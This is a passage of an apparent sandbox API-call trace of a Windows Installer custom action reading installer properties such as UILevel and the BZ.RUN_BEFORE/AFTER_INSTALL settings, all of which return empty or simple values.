I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.165] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.165] lstrlenW (lpString="UILevel") returned 7 [0149.166] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.166] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.167] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.167] GetCurrentThread () returned 0xfffffffffffffffe [0149.167] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.167] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.167] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.167] lstrlenW (lpString="UILevel") returned 7 [0149.168] memcpy (in: _Dst=0x3c23f0, _Src=0x3c1fb0, _Size=0x2 | out: _Dst=0x3c23f0) returned 0x3c23f0 [0149.168] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.168] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.169] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.169] GetCurrentThread () returned 0xfffffffffffffffe [0149.169] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.169] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.169] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.169] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.169] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.170] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.170] GetCurrentThread () returned 0xfffffffffffffffe [0149.170] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.170] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.170] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.170] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=5") returned 40 [0149.170] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.170] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.170] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.171] GetCurrentThread () returned 0xfffffffffffffffe [0149.171] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.171] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.171] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.171] memcpy (in: _Dst=0x29f80b0, _Src=0x3c5a40, _Size=0x50 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.171] memcpy (in: _Dst=0x3c5ff0, _Src=0x29f80b0, _Size=0x50 | out: _Dst=0x3c5ff0) returned 0x3c5ff0 [0149.171] SetEvent (hEvent=0x170) returned 1 [0149.172] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.173] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.173] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.174] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.174] GetCurrentThread () returned 0xfffffffffffffffe [0149.174] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.174] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.174] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.177] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.177] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.237] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.237] GetCurrentThread () returned 0xfffffffffffffffe [0149.237] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.237] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.238] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.238] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.238] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.239] GetCurrentThread () returned 0xfffffffffffffffe [0149.239] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.239] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.239] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.239] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_BEFORE_INSTALL_FILE") returned 64 [0149.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.239] GetCurrentThread () returned 0xfffffffffffffffe [0149.239] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.240] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.240] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.240] memcpy (in: _Dst=0x29f80b0, _Src=0x32cfd0, _Size=0x80 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.240] memcpy (in: _Dst=0x32d1b0, _Src=0x29f80b0, _Size=0x80 | out: _Dst=0x32d1b0) returned 0x32d1b0 [0149.240] SetEvent (hEvent=0x170) returned 1 [0149.241] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.242] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.243] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.272] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.273] GetCurrentThread () returned 0xfffffffffffffffe [0149.273] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.273] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.273] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.273] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.273] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.275] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.275] GetCurrentThread () returned 0xfffffffffffffffe [0149.275] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.275] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.275] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.275] lstrlenW (lpString="BZ.RUN_BEFORE_INSTALL_PARAMETERS") returned 32 [0149.277] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.277] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.278] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.278] GetCurrentThread () returned 0xfffffffffffffffe [0149.278] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.278] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.278] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.278] lstrlenW (lpString="BZ.RUN_BEFORE_INSTALL_PARAMETERS") returned 32 [0149.279] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.279] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.281] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.281] GetCurrentThread () returned 0xfffffffffffffffe [0149.281] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.281] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.281] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.281] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.282] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.283] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.283] GetCurrentThread () returned 0xfffffffffffffffe [0149.283] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.283] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.283] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.283] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 41 [0149.284] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.284] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.284] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.285] GetCurrentThread () returned 0xfffffffffffffffe [0149.285] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.285] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.285] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.285] memcpy (in: _Dst=0x29f80b0, _Src=0x34acc0, _Size=0x52 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.285] memcpy (in: _Dst=0x34b5c0, _Src=0x29f80b0, _Size=0x52 | out: _Dst=0x34b5c0) returned 0x34b5c0 [0149.286] SetEvent (hEvent=0x170) returned 1 [0149.286] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.288] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.289] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.289] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.289] GetCurrentThread () returned 0xfffffffffffffffe [0149.289] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.289] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.290] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.290] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.290] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.310] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.310] GetCurrentThread () returned 0xfffffffffffffffe [0149.310] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.310] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.311] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.311] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.311] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.312] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.312] GetCurrentThread () returned 0xfffffffffffffffe [0149.312] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.312] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.312] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.312] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_AFTER_INSTALL_FILE") returned 63 [0149.312] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.312] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.313] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.313] GetCurrentThread () returned 0xfffffffffffffffe [0149.313] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.313] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.313] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.313] memcpy (in: _Dst=0x29f80b0, _Src=0x32d1b0, _Size=0x7e | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.313] memcpy (in: _Dst=0x32cfd0, _Src=0x29f80b0, _Size=0x7e | out: _Dst=0x32cfd0) returned 0x32cfd0 [0149.314] SetEvent (hEvent=0x170) returned 1 [0149.314] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.318] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.318] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.319] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.319] GetCurrentThread () returned 0xfffffffffffffffe [0149.319] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.319] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.319] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.320] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.320] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.321] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.321] GetCurrentThread () returned 0xfffffffffffffffe [0149.321] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.321] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.321] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.321] lstrlenW (lpString="BZ.RUN_AFTER_INSTALL_FILE") returned 25 [0149.323] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.323] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.324] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.324] GetCurrentThread () returned 0xfffffffffffffffe [0149.324] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.324] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.324] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.324] lstrlenW (lpString="BZ.RUN_AFTER_INSTALL_FILE") returned 25 [0149.325] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.325] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.326] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.326] GetCurrentThread () returned 0xfffffffffffffffe [0149.326] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.326] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.326] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.327] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.327] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.327] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.327] GetCurrentThread () returned 0xfffffffffffffffe [0149.327] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.327] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.327] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.327] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 41 [0149.328] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.328] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.328] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.328] GetCurrentThread () returned 0xfffffffffffffffe [0149.328] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.328] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.328] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.328] memcpy (in: _Dst=0x29f80b0, _Src=0x34b5c0, _Size=0x52 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.328] memcpy (in: _Dst=0x34acc0, _Src=0x29f80b0, _Size=0x52 | out: _Dst=0x34acc0) returned 0x34acc0 [0149.329] SetEvent (hEvent=0x170) returned 1 [0149.329] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.332] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.332] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.333] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.333] GetCurrentThread () returned 0xfffffffffffffffe [0149.333] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.333] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.333] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.333] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.333] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.359] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.360] GetCurrentThread () returned 0xfffffffffffffffe [0149.360] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.360] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.360] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.360] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.360] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.361] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.361] GetCurrentThread () returned 0xfffffffffffffffe [0149.361] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.361] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.361] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.361] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_AFTER_INSTALL_PARAMETERS") returned 69 [0149.361] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.361] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.362] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.362] GetCurrentThread () returned 0xfffffffffffffffe [0149.362] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.362] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.362] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.362] memcpy (in: _Dst=0x29f80b0, _Src=0x37f490, _Size=0x8a | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.362] memcpy (in: _Dst=0x37f3e0, _Src=0x29f80b0, _Size=0x8a | out: _Dst=0x37f3e0) returned 0x37f3e0 [0149.363] SetEvent (hEvent=0x170) returned 1 [0149.363] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.366] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.366] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.367] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.367] GetCurrentThread () returned 0xfffffffffffffffe [0149.367] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.367] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.367] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.368] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.368] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.369] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.369] GetCurrentThread () returned 0xfffffffffffffffe [0149.369] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.369] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.369] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.369] lstrlenW (lpString="BZ.RUN_AFTER_INSTALL_PARAMETERS") returned 31 [0149.370] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.370] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.371] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.371] GetCurrentThread () returned 0xfffffffffffffffe [0149.371] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.371] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.371] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.371] lstrlenW (lpString="BZ.RUN_AFTER_INSTALL_PARAMETERS") returned 31 [0149.372] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.373] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.373] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.373] GetCurrentThread () returned 0xfffffffffffffffe [0149.373] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.373] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.373] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.374] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.374] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.374] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.374] GetCurrentThread () returned 0xfffffffffffffffe [0149.374] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.375] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.375] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.375] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 41 [0149.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.375] GetCurrentThread () returned 0xfffffffffffffffe [0149.375] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.376] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.376] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.376] memcpy (in: _Dst=0x29f80b0, _Src=0x34acc0, _Size=0x52 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.376] memcpy (in: _Dst=0x34b5c0, _Src=0x29f80b0, _Size=0x52 | out: _Dst=0x34b5c0) returned 0x34b5c0 [0149.376] SetEvent (hEvent=0x170) returned 1 [0149.377] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.378] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.378] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.414] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.414] GetCurrentThread () returned 0xfffffffffffffffe [0149.415] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.415] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.415] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.415] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.416] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.417] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.417] GetCurrentThread () returned 0xfffffffffffffffe [0149.417] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.417] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.417] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.417] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.417] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.418] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.418] GetCurrentThread () returned 0xfffffffffffffffe [0149.418] OpenThreadToken (in: 